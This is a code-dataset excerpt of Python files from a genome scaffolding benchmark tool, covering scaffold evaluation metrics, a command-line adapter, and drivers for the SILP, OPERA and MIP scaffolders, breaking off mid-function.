last line.\n tmp = lines[-1].strip().split()\n\n return float(tmp[1])\n\n\ndef _sanity_check(RG, TG, A, B, C, D):\n ''' make sure these parameter make sense '''\n\n # set vars.\n n = RG.number_of_nodes()\n m = RG.number_of_edges()\n N = n * (n-1)\n\n # run check 1: m = A + C.\n check1 = m == A + C\n\n # run check 2: N - m = B + D.\n check2 = N - m == B + D\n\n # run report.\n fail = False\n\n if check1 == False:\n logging.error(\"failed check 1: m = A + C, %i = %i + %i: %i\" % (m, A, C, m == A + C))\n fail = True\n\n if check2 == False:\n logging.error(\"failed check 2: N-m = B + D, %i - %i = %i + %i: %i\" % (N, m, B, D, N-m==B+D))\n fail = True\n\n if fail == True:\n sys.exit()\n\n\ndef _dag_flip(RG, TG):\n ''' flip to make most consistant '''\n\n # check it.\n _graph_check(RG)\n _graph_check(TG)\n\n # make set of reference.\n rset = set(RG.edges())\n\n # loop over each component.\n NG = nx.DiGraph()\n for comp in nx.weakly_connected_components(TG):\n\n # turn to subgraph.\n subg = TG.subgraph(comp)\n\n # make sets.\n tset1 = set(subg.edges())\n tset2 = set([(e1, e0) for e0, e1 in tset1])\n\n # check version.\n s1 = len(rset.intersection(tset1))\n s2 = len(rset.intersection(tset2))\n\n # add to nodes to new graph.\n for n in subg.nodes():\n NG.add_node(n, subg.node[n])\n\n # add the best matching orientation.\n for e0, e1 in subg.edges():\n if s1 >= s2:\n NG.add_edge(e0, e1, subg[e0][e1])\n else:\n NG.add_edge(e1, e0, subg[e0][e1])\n\n # return it.\n return NG\n\ndef _graph_check(G):\n ''' makes sure its linear and a DAG '''\n\n # path check.\n for n in G.nodes():\n if G.number_of_edges(n) > 2:\n logging.error(\"bad scaffold graph 1 \")\n sys.exit(1)\n\n # DAG check.\n if nx.is_directed_acyclic_graph(G) == False:\n logging.error(\"bad scaffold graph 2\")\n sys.exit(1)\n\ndef _calculate_n50(G, min_size=False, gap=False):\n ''' calculates scaffold N50 given scaffold graph'''\n\n # compute the scaffold sizes.\n sizes = _calc_sizes(G, min_size,gap)\n\n # calculate n50.\n sizes.sort(reverse = True)\n s = sum(sizes)\n limit = s * 0.5\n for l in sizes:\n s -= l\n if s <= limit:\n return int(l)\n \ndef _fasta_n50(fasta_file, min_size=False, gap=False):\n ''' calculates scaffold N50 given fasta file'''\n\n # load fasta.\n seqs = _load_fasta(fasta_file)\n\n # compute the scaffold sizes.\n sizes = [len(seqs[x]) for x in seqs]\n\n # calculate n50.\n sizes.sort(reverse = True)\n s = sum(sizes)\n limit = s * 0.5\n for l in sizes:\n s -= l\n if s <= limit:\n return int(l)\n\n\ndef _calc_sizes(G, min_size, gap, scaf_only=False):\n sizes = list()\n for comp in nx.weakly_connected_components(G):\n\n # skip non scaffolds.\n if scaf_only == True:\n if len(comp) < 2:\n continue\n\n # add contig size.\n size = 0\n for n in comp:\n size += G.node[n]['width']\n\n # add gap size.\n if gap != False:\n for p,q in G.edges(comp):\n size += G[p][q]['gap']\n\n # skip this.\n if min_size != False and size < min_size:\n continue\n\n # save the size.\n sizes.append(size)\n return sizes\n\n\ndef _calc_counts(G, min_size, gap, scaf_only=False):\n sizes = list()\n for comp in nx.weakly_connected_components(G):\n\n # skip non scaffolds.\n if scaf_only == True:\n if len(comp) < 2:\n continue\n\n # add contig size.\n size = 0\n for n in comp:\n size += G.node[n]['width']\n\n # add gap size.\n if gap != False:\n for p,q in G.edges(comp):\n size += G[p][q]['gap']\n\n # skip this.\n if min_size != False and size < min_size:\n continue\n\n # save the size.\n sizes.append(len(comp))\n\n return sizes\n\ndef _remove_difference(RG, TG):\n ''' removes edges not in RG'''\n\n # make edge sets.\n rset = set(RG.edges())\n tset = set(TG.edges())\n\n # identify edges in test that shouldn't be there\n to_remove = tset.difference(rset)\n\n # remove them.\n TG.remove_edges_from(to_remove)\n\n # return modified graph.\n return TG\n\ndef _load_fasta(file_path):\n ''' loads fasta file into dictionary'''\n\n # read file into memory.\n fin = open(file_path)\n lines = fin.readlines()\n fin.close()\n\n # build dictionary.\n data = dict()\n seq = \"\"\n for line in lines:\n\n # Skip blanks.\n if len(line) < 2: continue\n if line[0] == \"#\": continue\n\n # remove blanks.\n line = line.strip()\n\n # Check for ids.\n if line.count(\">\") > 0:\n\n # Check if ending seq.\n if len(seq) > 0:\n\n # save.\n data[head] = seq.upper()\n\n # reset head.\n head = line.replace(\">\",\"\")\n seq = \"\"\n\n # skip to next line.\n continue\n\n # Filter chars.\n seq += line\n\n # save the last one.\n data[head] = seq.upper()\n\n # return dictionary.\n return data\n\n### public functions ###\n\ndef simulation_evaluation(ref_fasta, ctg_fasta, scf_fasta, ref_agp, scf_agp):\n \"\"\" evaluates the simulated dataset \"\"\"\n\n # load the reference and test graph from AGP files.\n RG = _agp_graph(ref_agp)\n TG = _agp_graph(scf_agp, RG=RG)\n\n # calculate referece and ctg n50/\n ref_N50 = _fasta_n50(ref_fasta, gap=True)\n ctg_N50 = _fasta_n50(ctg_fasta, gap=True)\n scf_N50 = _fasta_n50(scf_fasta, gap=True)\n\n # ensure we have all contigs accounted for.\n assert set(TG.nodes()) == set(RG.nodes()),\\\n 'not all contigs accounted for'\n\n # compute the exact N50\n scf_N50_2, tp_N50, LG = _uconn_N50(RG, TG)\n\n # make edge sets.\n radj = set(RG.edges())\n tadj = set(TG.edges())\n\n # calculate 4 parameters.\n n = RG.number_of_nodes()\n A, B, C, D, A_SET = _compute_formula(radj, tadj, n)\n\n # compute derivativ stats.\n sensitivity = (100*(float(A) / float(A+C)))\n ppv = (100*(float(A) / float(A+B)))\n if float(math.sqrt((A+B)*(A+C)*(D+B)*(D+C))) != 0.0:\n mcc = (100*(float((A*D)-(B*C)) / float(math.sqrt((A+B)*(A+C)*(D+B)*(D+C)))))\n else:\n mcc = 0.0\n\n # get gap deviation.\n gap_dev = _gap_deviation(RG, TG)\n\n # get the runtime.\n runtime = _get_runtime(scf_agp)\n\n # print results.\n # A B C D gapMape runtime sensitivity ppv mcc REFN50 TPN50 REPN50\n return A, B, C, D, ppv, mcc, gap_dev, runtime, ref_N50, ctg_N50, scf_N50, tp_N50\n\n\n\ndef quast_evaluation(ref, ctgs, scf, sdir, threads):\n\n # note that we are running it.\n logging.info(\"running quast %s %s %s\" % (ref, ctgs, scf))\n\n # run the comparison script.\n x = ref.split(\"/\")\n #z = '/'.join(x[0:-1] + [\"genes.gff\"])\n\n cmd = [\\\n 'python',\\\n '/opt/quast/quast.py',\\\n \"-e\",\n \"-f\",\n # \"-G\", z,\\\n \"-o\", \"./\",\\\n \"-R\", ref,\\\n \"-T\", str(threads),\\\n scf\\\n ]\n\n '''\n # remove dir.\n if os.path.isdir(sdir) == True:\n subprocess.call([\"rm\", \"-rf\", sdir])\n\n # make dir.\n if os.path.isdir(sdir) == False:\n subprocess.call(['mkdir', '-p', sdir])\n\n # make log file.\n lfile = \"%s/log.txt\" % sdir\n\n # capture output.\n with open(lfile, 'w') as fout:\n #if subprocess.call(cmd, stdout=fout, stderr=fout, cwd=sdir) != 0:\n if subprocess.call(cmd, cwd=sdir) != 0:\n logging.error('error running quast')\n return -1, -1\n '''\n # open the output.\n with open(\"%s/report.tsv\" % sdir) as fin:\n results = fin.readlines()\n tmp = list()\n for result in results:\n tmp.append(result.strip())\n results = tmp\n\n # extract results.\n lbls = list()\n res1 = list()\n res2 = list()\n cnt = 0\n for x in results:\n tmp = x.split(\"\\t\")\n lbls.append(tmp[0])\n res1.append(tmp[1])\n #res2.append(tmp[2])\n res2.append(\"\")\n #print cnt, tmp\n cnt += 1\n\n res = np.array([lbls,res1,res2])\n\n return res\n"},{"alpha_fraction":0.6042157411575317,"alphanum_fraction":0.6186079382896423,"avg_line_length":40.2152214050293,"blob_id":"48689949114dc873eecf41293abc4fd75d21d7a3","content_id":"4183ebc78fad20ceccd2fc1d6a3f8427a87a7c28","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":15703,"license_type":"permissive","max_line_length":159,"num_lines":381,"path":"/scafathon.py","repo_name":"jim-bo/scafathon","src_encoding":"UTF-8","text":"#!/usr/bin/python\n'''\nstandalone adapter for scripts outside of the directory structure.\n'''\n### imports ###\n\n# system\nimport time\nimport subprocess\nimport warnings\nimport argparse\nimport logging\nimport time\nimport sys\nimport os\nimport numpy as np\n\nlogging.basicConfig(level=logging.DEBUG, format='[%(levelname)s] %(message)s', )\n\n# local\nfrom utils.align import create_idx, create_aln, pair_sam, pair_sam2\nfrom utils.prep import prep_silp, prep_opera, prep_mip\nfrom utils.run import run_silp, run_opera, run_mip\nfrom utils.eval import simulation_evaluation, quast_evaluation\n\n# hack to silence argparser.\nwarnings.filterwarnings('ignore', category=DeprecationWarning)\n\n### classes ###\n\n### functions ###\n\ndef align(args):\n ''' aligns reads against reference '''\n\n # validate parameters.\n assert os.path.isdir(args.base_dir), 'base_dir'\n assert os.path.isfile(args.ctg_fasta), 'ctg_fasta'\n assert os.path.isfile(args.read1_fastq), 'read1_fastq'\n assert os.path.isfile(args.read2_fastq), 'read2_fastq'\n assert os.path.isfile(args.size_file), 'size_file'\n\n # relavent files.\n base_dir = os.path.abspath(args.base_dir)\n\n size_file = os.path.abspath(args.size_file)\n ctg_fasta = os.path.abspath(args.ctg_fasta)\n read1_fastq = os.path.abspath(args.read1_fastq)\n read2_fastq = os.path.abspath(args.read2_fastq)\n\n tmp1_sam = os.path.abspath('%s/tmp1.sam' % base_dir)\n tmp2_sam = os.path.abspath('%s/tmp2.sam' % base_dir)\n\n read1_sam = os.path.abspath('%s/read1.sam' % base_dir)\n read2_sam = os.path.abspath('%s/read2.sam' % base_dir)\n\n ant_dir = '%s/ant' % base_dir\n idx_dir = '%s/index' % base_dir\n idx_file = '%s/index' % idx_dir\n\n # build index if not present.\n if os.path.isdir(idx_dir) == False:\n subprocess.call([\"mkdir\", \"-p\", idx_dir])\n create_idx(ctg_fasta, idx_file)\n\n # remove annotation dir if present.\n if os.path.isdir(ant_dir) == True:\n subprocess.call([\"rm\", \"-rf\", ant_dir])\n subprocess.call([\"mkdir\", \"-p\", ant_dir])\n\n # perform alignment.\n create_aln(size_file, idx_file, read1_fastq, tmp1_sam, ant_dir, args.num_cpu)\n create_aln(size_file, idx_file, read2_fastq, tmp2_sam, ant_dir, args.num_cpu)\n\n # pair the alignment.\n pair_sam2(tmp1_sam, tmp2_sam, read1_sam, read2_sam, args.key_size)\n\ndef pair(args):\n ''' pairs two same files '''\n\n # validate parameters.\n assert os.path.isdir(args.base_dir), 'base_dir'\n assert os.path.isfile(args.tmp1_sam), 'tmp1_sam'\n assert os.path.isfile(args.tmp2_sam), 'tmp2_sam'\n\n # relavent files.\n base_dir = os.path.abspath(args.base_dir)\n tmp1_sam = os.path.abspath(args.tmp1_sam)\n tmp2_sam = os.path.abspath(args.tmp2_sam)\n read1_sam = os.path.abspath('%s/read1.sam' % base_dir)\n read2_sam = os.path.abspath('%s/read2.sam' % base_dir)\n\n # pair the alignment.\n pair_sam2(tmp1_sam, tmp2_sam, read1_sam, read2_sam, args.key_size)\n\ndef meta_combine(args):\n \"\"\" combines two seperate alignments\"\"\"\n\n # validate parameters.\n assert os.path.isdir(args.base_dir), 'base_dir'\n assert os.path.isdir(args.work1_dir), 'w1_dir'\n assert os.path.isdir(args.work2_dir), 'w2_dir'\n\n # switch based on subset.\n if args.subsample == None:\n\n # combine reads.\n with open(\"%s/read1.sam\" % args.base_dir, \"wb\") as fout:\n subprocess.call([\"cat\",\"%s/read1.sam\" % args.work1_dir, \"%s/read1.sam\" % args.work2_dir], stdout=fout)\n\n with open(\"%s/read2.sam\" % args.base_dir, \"wb\") as fout:\n subprocess.call([\"cat\",\"%s/read2.sam\" % args.work1_dir, \"%s/read2.sam\" % args.work2_dir], stdout=fout)\n\n else:\n\n # count number of lines.\n cnt = 0\n with open(\"%s/read1.sam\" % args.work1_dir, \"r\") as fin:\n for line in fin:\n cnt += 1\n \n # only output a percentage of them.\n outp = float(cnt) * float(args.subsample)\n \n # first one.\n with open(\"%s/read1.sam\" % args.base_dir, \"wb\") as fout:\n cnt = 0\n with open(\"%s/read1.sam\" % args.work1_dir, \"r\") as fin:\n for line in fin:\n if cnt > outp: break\n fout.write(line)\n cnt += 1\n with open(\"%s/read1.sam\" % args.work2_dir, \"r\") as fin:\n for line in fin:\n fout.write(line)\n \n # second one.\n with open(\"%s/read2.sam\" % args.base_dir, \"wb\") as fout:\n cnt = 0\n with open(\"%s/read2.sam\" % args.work1_dir, \"r\") as fin:\n for line in fin:\n if cnt > outp: break\n fout.write(line)\n cnt += 1\n with open(\"%s/read2.sam\" % args.work2_dir, \"r\") as fin:\n for line in fin:\n fout.write(line)\n\n # copy one annotation.\n subprocess.call([\"cp\", \"%s/ant\" % args.work1_dir, \"%s/ant\" % args.base_dir, \"-R\"])\n subprocess.call([\"chmod\", \"u+w\", \"%s/ant\" % args.base_dir, \"-R\"])\n\n # combine the rest.\n tmp1_dir = \"%s/ant\" % args.base_dir\n tmp2_dir = \"%s/ant\" % args.work2_dir\n for x in os.listdir(tmp2_dir):\n\n # simplify.\n tmp1_x = \"%s/%s\" % (tmp1_dir,x)\n tmp2_x = \"%s/%s\" % (tmp2_dir,x)\n \n # copy it if no problem.\n if os.path.isfile(tmp1_x) == False:\n subprocess.call([\"cp\", tmp2_x, tmp1_x])\n\n else:\n # combine it.\n tmp1_n = np.load(tmp1_x)\n tmp2_n = np.load(tmp2_x)\n np.save(tmp1_x, tmp1_n+tmp2_n)\n\ndef prepare(args):\n \"\"\" prepares alignment given scaffolding method\"\"\"\n\n # extract information.\n work_dir = os.path.abspath(args.base_dir)\n align_dir = os.path.abspath(args.align_dir)\n ant_dir = '%s/ant' % align_dir\n\n read1_sam = '%s/read1.sam' % align_dir\n read2_sam = '%s/read2.sam' % align_dir\n ctg_fasta = os.path.abspath(args.ctg_fasta)\n prep_sh = '%s/prep.sh' % work_dir\n\n # translate pairmode.\n if args.pair_mode == 0:\n pair_mode = 'ff'\n elif args.pair_mode == 1:\n pair_mode = 'fr'\n elif args.pair_mode == 2:\n pair_mode = 'rf'\n\n # run the right prepare.\n cmd_args = (work_dir, ant_dir, prep_sh, ctg_fasta, read1_sam, read2_sam, args.ins_size, args.std_dev, args.bundle_size, pair_mode, args)\n if args.meth_mode == 0:\n prep_silp(*cmd_args)\n elif args.meth_mode == 1:\n prep_opera(*cmd_args)\n elif args.meth_mode == 2:\n prep_mip(*cmd_args)\n\n\ndef run(args):\n \"\"\" extracts information for scaffolding\"\"\"\n\n # extract information.\n work_dir = os.path.abspath(args.base_dir)\n align_dir = os.path.abspath(args.align_dir)\n ant_dir = '%s/ant' % align_dir\n\n read1_sam = '%s/read1.sam' % align_dir\n read2_sam = '%s/read2.sam' % align_dir\n ctg_fasta = os.path.abspath(args.ctg_fasta)\n ctg_agp = '%s/scf.agp' % work_dir\n scf_fasta = '%s/scf.fasta' % work_dir\n run_sh = '%s/run.sh' % work_dir\n\n # translate pairmode.\n if args.pair_mode == 0:\n pair_mode = 'ff'\n elif args.pair_mode == 1:\n pair_mode = 'fr'\n elif args.pair_mode == 2:\n pair_mode = 'rf'\n\n # run the right prepare.\n cmd_args = (work_dir, ant_dir, run_sh, ctg_fasta, scf_fasta, ctg_agp, read1_sam, read2_sam, args.ins_size, args.std_dev, args.bundle_size, pair_mode, args)\n if args.meth_mode == 0:\n run_silp(*cmd_args)\n elif args.meth_mode == 1:\n run_opera(*cmd_args)\n elif args.meth_mode == 2:\n run_mip(*cmd_args)\n\ndef sim_eval(args):\n \"\"\"evaluates scaffold\"\"\"\n\n # simplify data.\n ref_fasta = os.path.abspath(args.ref_fasta)\n ctg_fasta = os.path.abspath(args.ctg_fasta)\n scf_fasta = os.path.abspath(args.scf_fasta)\n ref_agp = os.path.abspath(args.ref_agp)\n scf_agp = os.path.abspath(args.scf_agp)\n\n # call evaluation code.\n A, B, C, D, ppv, mcc, gap_dev, runtime, ref_N50, ctg_N50, scf_N50, tp_N50 = simulation_evaluation(ref_fasta, ctg_fasta, scf_fasta, ref_agp, scf_agp)\n\n # format and return.\n txt = list()\n txt.append('%d %d %d %d' % (A, B, C, D))\n txt.append('%.2f %.2f' % (ppv, mcc))\n txt.append('%.2f %.2f' % (gap_dev, runtime))\n txt.append('%d %d %d %d' % (ref_N50, ctg_N50, scf_N50, tp_N50))\n print ' '.join(txt)\n\ndef real_eval(args):\n \"\"\"evaluates scaffold using alignme\"\"\"\n\n # simplify data.\n ref_fasta = os.path.abspath(args.ref_fasta)\n ctg_fasta = os.path.abspath(args.ctg_fasta)\n scf_fasta = os.path.abspath(args.scf_fasta)\n #ref_agp = os.path.abspath(args.ref_agp)\n #scf_agp = os.path.abspath(args.scf_agp)\n\n # call quast\n res = quast_evaluation(ref_fasta, ctg_fasta, scf_fasta, args.wd, args.threads)\n\n\n # quast specific.\n try: N50 = int(float(res[1,np.where(res[0,:] == \"N50\")[0][0]]))\n except: N50 = 0\n try: NG50 = int(float(res[1,np.where(res[0,:] == \"NG50\")[0][0]]))\n except: NG50 = 0\n try: GFRAC = float(res[1,np.where(res[0,:] == \"Genome fraction (%)\")[0][0]])\n except: GFRAC = 0.0\n try: NA50 = int(float(res[1,np.where(res[0,:] == \"NA50\")[0][0]]))\n except: NA50 = 0\n try: NGA50 = int(float(res[1,np.where(res[0,:] == \"NGA50\")[0][0]]))\n except: NGA50 = 0\n\n # format and return.\n txt = list()\n txt.append(\"%d %d %.2f %d %d\" % (N50, NG50, GFRAC, NA50, NGA50))\n\n print ' '.join(txt)\n\n### script ###\n\nif __name__ == '__main__':\n\n # mode parser.\n main_p = argparse.ArgumentParser()\n subp = main_p.add_subparsers(help='sub-command help')\n\n ### data preparation ###\n # import reference into working directory.\n subp_p = subp.add_parser('align', help='aligns reads against contigs.')\n subp_p.add_argument('-w', dest='base_dir', required=True, help='working directory')\n subp_p.add_argument('-p', dest='num_cpu', type=int, required=True, help='number of threads for bowtie2')\n subp_p.add_argument('-c', dest='ctg_fasta', required=True, help='contig fasta')\n subp_p.add_argument('-q1', dest='read1_fastq', required=True, help='read first file')\n subp_p.add_argument('-q2', dest='read2_fastq', required=True, help='read second file')\n subp_p.add_argument('-s', dest='size_file', required=True, help='size file')\n subp_p.add_argument('-k', dest='key_size', type=int, required=True, help='size of PE key at end of each read')\n subp_p.set_defaults(func=align)\n\n subp_p = subp.add_parser('pair', help='pairs 2 SAM files')\n subp_p.add_argument('-w', dest='base_dir', required=True, help='working directory')\n subp_p.add_argument('-s1', dest='tmp1_sam', required=True, help='read first file')\n subp_p.add_argument('-s2', dest='tmp2_sam', required=True, help='read second file')\n subp_p.add_argument('-k', dest='key_size', type=int, required=True, help='size of PE key at end of each read')\n subp_p.set_defaults(func=pair)\n\n # combines two seperate alignments.\n subp_p = subp.add_parser('meta_combine', help='combines two seperate alignments. Used for meta scaffold testing.')\n subp_p.add_argument('-w', dest='base_dir', required=True, help='working directory')\n subp_p.add_argument('-w1', dest='work1_dir', required=True, help='working directory')\n subp_p.add_argument('-w2', dest='work2_dir', required=True, help='working directory')\n subp_p.add_argument('-s', dest='subsample', type=float, required=False, help='subsample first directory')\n subp_p.set_defaults(func=meta_combine)\n\n # prepare the reference for scaffolding.\n subp_p = subp.add_parser('prep', help='runs pre-processing stage.')\n subp_p.add_argument('-c', dest='ctg_fasta', required=True, help='contig fasta')\n subp_p.add_argument('-w', dest='base_dir', required=True, help='scaffolding directory')\n subp_p.add_argument('-a', dest='align_dir', required=True, help='alignment directory')\n subp_p.add_argument('-i', dest='ins_size', type=int, required=True, help='insert size')\n subp_p.add_argument('-s', dest='std_dev', type=int, required=True, help='std_devition')\n subp_p.add_argument('-b', dest='bundle_size', type=int, required=True, help='bundle size')\n me_g = subp_p.add_mutually_exclusive_group(required=True)\n me_g.add_argument('-ff', dest='pair_mode', action='store_const', const=0, help='SOLiD style -> ->')\n me_g.add_argument('-fr', dest='pair_mode', action='store_const', const=1, help='innie style -> <-')\n me_g.add_argument('-rf', dest='pair_mode', action='store_const', const=2, help='outtie style <- ->')\n me_g = subp_p.add_mutually_exclusive_group(required=True)\n me_g.add_argument('-silp', dest='meth_mode', action='store_const', const=0, help='SILP')\n me_g.add_argument('-opera', dest='meth_mode', action='store_const', const=1, help='OPERA')\n me_g.add_argument('-mip', dest='meth_mode', action='store_const', const=2, help='MIP')\n subp_p.set_defaults(func=prepare)\n\n # run the scaffolding.\n subp_p = subp.add_parser('run', help='runs the actual scaffolding')\n subp_p.add_argument('-c', dest='ctg_fasta', required=True, help='contig fasta')\n subp_p.add_argument('-w', dest='base_dir', required=True, help='scaffolding directory')\n subp_p.add_argument('-a', dest='align_dir', required=True, help='alignment directory')\n subp_p.add_argument('-i', dest='ins_size', type=int, required=True, help='insert size')\n subp_p.add_argument('-s', dest='std_dev', type=int, required=True, help='std_devition')\n subp_p.add_argument('-b', dest='bundle_size', type=int, required=True, help='bundle size')\n me_g = subp_p.add_mutually_exclusive_group(required=True)\n me_g.add_argument('-ff', dest='pair_mode', action='store_const', const=0, help='SOLiD style -> ->')\n me_g.add_argument('-fr', dest='pair_mode', action='store_const', const=1, help='innie style -> <-')\n me_g.add_argument('-rf', dest='pair_mode', action='store_const', const=2, help='outtie style <- ->')\n me_g = subp_p.add_mutually_exclusive_group(required=True)\n me_g.add_argument('-silp', dest='meth_mode', action='store_const', const=0, help='SILP')\n me_g.add_argument('-opera', dest='meth_mode', action='store_const', const=1, help='OPERA')\n me_g.add_argument('-mip', dest='meth_mode', action='store_const', const=2, help='MIP')\n # SILP2 arguments.\n subp_p.add_argument('-z', dest='weight_mode', type=int, default=0, help='SILP2: weight mode')\n subp_p.set_defaults(func=run)\n\n # evaluate the scaffolding.\n subp_p = subp.add_parser('sim_eval', help='evaluates scaffolding if there is a true AGP')\n subp_p.add_argument('-r', dest='ref_fasta', required=True, help='reference fasta')\n subp_p.add_argument('-c', dest='ctg_fasta', required=True, help='contig fasta')\n subp_p.add_argument('-s', dest='scf_fasta', required=True, help='scaffold fasta')\n subp_p.add_argument('-a', dest='ref_agp', required=True, help='reference agp')\n subp_p.add_argument('-y', dest='scf_agp', required=True, help='predicted agp')\n subp_p.set_defaults(func=sim_eval)\n\n # evaluate the scaffolding.\n subp_p = subp.add_parser('real_eval', help='alignment based scaffold evaluation.')\n subp_p.add_argument('-r', dest='ref_fasta', required=True, help='reference fasta')\n subp_p.add_argument('-c', dest='ctg_fasta', required=True, help='contig fasta')\n subp_p.add_argument('-s', dest='scf_fasta', required=True, help='scaffold fasta')\n subp_p.add_argument('-y', dest='scf_agp', required=True, help='predicted agp')\n subp_p.add_argument('-wd', dest='wd', required=True, help='alignment working directory')\n subp_p.add_argument('-p', dest='threads', type=int, required=True, help='number of threads to align')\n subp_p.set_defaults(func=real_eval)\n\n args = main_p.parse_args()\n args.func(args)\n"},{"alpha_fraction":0.492044597864151,"alphanum_fraction":0.5010282397270203,"avg_line_length":28.996753692626953,"blob_id":"4b73b226cb70b797a4d76f19ced2424522dc0848","content_id":"7c8f300d3e7e1ca4a613c8ea4663795fedce5b01","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":9239,"license_type":"permissive","max_line_length":143,"num_lines":308,"path":"/utils/run.py","repo_name":"jim-bo/scafathon","src_encoding":"UTF-8","text":"'''\ndrivers to prepare the data for scaffolding\n'''\nimport subprocess\nimport os\nimport time\nimport numpy as np\n\nfrom utils.misc import *\n\n## private functions ##\n\n## public functions ##\ndef run_silp(work_dir, ant_dir, run_sh, ctg_fasta, scf_fasta, ctg_agp, read1_sam, read2_sam, ins_size, std_dev, bundle_size, pair_mode, args):\n \"\"\" SILP scaffolder \"\"\"\n\n # create command base.\n cmd_base = ['python', '/home/jrl03001/code/SILP2/silp.py']\n\n # scaffolding/\n job = list()\n job.append('#!/bin/bash')\n job.append('# scaffolding')\n job.append('# start time')\n job.append('start=$(date +%s)')\n job.append('%s orient -w %s -z %s ' % (' '.join(cmd_base), work_dir, args.weight_mode))\n job.append('%s order -w %s ' % (' '.join(cmd_base), work_dir))\n job.append('%s gap -w %s ' % (' '.join(cmd_base), work_dir))\n job.append('%s write -w %s -a %s' % (' '.join(cmd_base), work_dir, ctg_agp))\n job.append('%s fasta -w %s -a %s -c %s -f %s' % (' '.join(cmd_base), work_dir, ctg_agp, ctg_fasta, scf_fasta))\n job.append('# stop time')\n job.append('stop=$(date +%s)')\n job.append('echo RUNTIME: $(expr $stop - $start) >> %s' % ctg_agp)\n job.append('')\n runit(job, run_sh)\n\n\ndef run_opera(work_dir, ant_dir, run_sh, ctg_fasta, scf_fasta, ctg_agp, read1_sam, read2_sam, ins_size, std_dev, bundle_size, pair_mode, args):\n \"\"\" OPERA scaffolder \"\"\"\n\n # opera specific directories.\n input_dir = '%s/input' % work_dir\n results_dir = '%s/results' % work_dir\n script_dir = '%s/script' % work_dir\n output_dir = '%s/output' % work_dir\n log_dir = '%s/log' % work_dir\n for x in [input_dir, results_dir, script_dir, output_dir, log_dir]:\n create_dir(x)\n\n # opera sepecific files.\n edge_file = '%s/opera_raw.txt' % input_dir\n config_file = '%s/opera.cfg' % input_dir\n script_file = '%s/opera.sh' % input_dir\n tout_file = '%s/scaffolds.scaf' % results_dir\n tscf_file = '%s/scaffoldSeq.fasta' % results_dir\n log_file = '%s/opera.log' % log_dir\n\n # write execution script.\n job = list()\n job.append('#!/bin/bash')\n job.append('# scaffolding')\n job.append('# start time')\n job.append('start=$(date +%s)')\n job.append('# run the job')\n job.append('/opt/opera/bin/opera %s &> %s' % (config_file, log_file))\n job.append('# stop time')\n job.append('stop=$(date +%s)')\n job.append('echo RUNTIME: $(expr $stop - $start) >> %s' % ctg_agp)\n job.append('')\n runit(job, run_sh)\n\n # load results.\n fin = open(tout_file, \"rb\")\n lines = fin.readlines()\n fin.close()\n\n # load the runtime string.\n with open(ctg_agp, 'rb') as fin:\n time_info = fin.readline().strip()\n\n # create an AGP.\n fout = open(ctg_agp, \"wb\")\n for lidx in range(len(lines)):\n\n # setup line.\n line = lines[lidx]\n\n # check header.\n if line[0] == \">\":\n header = line.strip().replace(\">\",\"\").split()[0]\n #header = line.strip().replace(\">\",\"\")\n part = 1\n scaf_start = 1\n scaf_stop = 0\n continue\n\n # tokenize.\n tmp = line.strip().split()\n\n # get ctgid.\n ctgid = tmp[0]\n\n if tmp[1] == \"BE\":\n orien = \"+\"\n else:\n orien = \"-\"\n\n ctglen = int(tmp[2])\n gaplen = int(tmp[3])\n\n # make indexs.\n scaf_stop = scaf_start + ctglen\n\n # write out AGP.\n fout.write(\"%s\\t%i\\t%i\\t%i\\t%s\\t%s\\t%i\\t%i\\t%s\\n\" % \\\n (header, scaf_start, scaf_stop, part, \"W\", ctgid, 1, ctglen, orien))\n #print \"write\"\n # increment pointers.\n scaf_start = scaf_stop + 1\n part += 1\n\n # add gap if size is not 0\n if gaplen != 0:\n\n # make indexs.\n scaf_stop = scaf_start + gaplen\n\n # add gap.\n fout.write(\"%s\\t%i\\t%i\\t%i\\t%s\\t%i\\t%s\\t%s\\n\" % \\\n (header, scaf_start, scaf_stop, part, \"N\", gaplen, \"fragment\", \"no\"))\n #print \"write\"\n # increment pointers.\n scaf_start = scaf_stop + 1\n part += 1\n\n # otherwise.\n else:\n # check if we can peak.\n if lidx+1 >= len(lines):\n continue\n\n\n # check if new scaffold.\n if lines[lidx+1][0] != \">\":\n # make fake gap.\n scaf_stop = scaf_start + 10\n\n # add gap.\n fout.write(\"%s\\t%i\\t%i\\t%i\\t%s\\t%i\\t%s\\t%s\\n\" % \\\n (header, scaf_start, scaf_stop, part, \"N\", gaplen, \"fragment\", \"no\"))\n #print \"write\"\n # increment pointers.\n scaf_start = scaf_stop + 1\n part += 1\n continue\n\n # write the timer.\n fout.write(time_info + '\\n')\n\n # close AGP file.\n fout.close()\n\n # move the output files to standard locations.\n subprocess.call(['cp', tscf_file, scf_fasta])\n\n\ndef run_mip(work_dir, ant_dir, run_sh, ctg_fasta, scf_fasta, ctg_agp, read1_sam, read2_sam, ins_size, std_dev, bundle_size, pair_mode, args):\n \n # simplify files.\n ant_dir = '/dev/null'\n\n contig_file = ctg_fasta\n test1 = read1_sam\n test2 = read2_sam\n \n # mip specific files.\n SAM_1_MOD = \"%s/sam_1.sam\" % work_dir\n SAM_2_MOD = \"%s/sam_2.sam\" % work_dir\n MERGED_FILE = \"%s/merged\" % work_dir\n MERGED1_FILE = \"%s/merged.sorted1\" % work_dir\n MERGED2_FILE = \"%s/merged.sorted2\" % work_dir\n FILTERED_FILE = \"%s/filtered.txt\" % work_dir\n COV_FILE = \"%s/coverage.txt\" % work_dir\n PARAM_FILE = \"%s/parameters.txt\" % work_dir\n MIP_FILE = \"%s/scaffolds2.txt\" % work_dir\n OUT_FILE = \"%s/scaffolds.fasta\" % work_dir\n\n \n # execute mip.\n tstart = time.time()\n cmd = list()\n cmd.append(\"/opt/mip/scripts/mip-scaffolder.pl\")\n cmd.append(PARAM_FILE)\n cmd.append(contig_file)\n cmd.append(COV_FILE)\n cmd.append(work_dir)\n \n with open(run_sh, \"wb\") as fout:\n fout.write('#!/bin/bash\\n')\n fout.write(' '.join(cmd) + '\\n')\n \n subprocess.call([\"chmod\", \"u+x\", run_sh])\n if subprocess.call([run_sh], cwd=work_dir) != 0:\n logging.warning(\"couldn't run mip\")\n sys.exit(1)\n tstop = time.time()\n \n # compute time.\n trun = tstop - tstart\n \n # load MIP results into dictionary.\n fin = open(MIP_FILE, \"rb\")\n lines = fin.readlines()\n fin.close()\n mip = {}\n for line in lines:\n \n # tokenize.\n tmp = line.split()\n \n # set current scaffold.\n if tmp[0].count(\"scaffold\") > 0:\n # set current.\n curs = tmp[0]\n \n # set 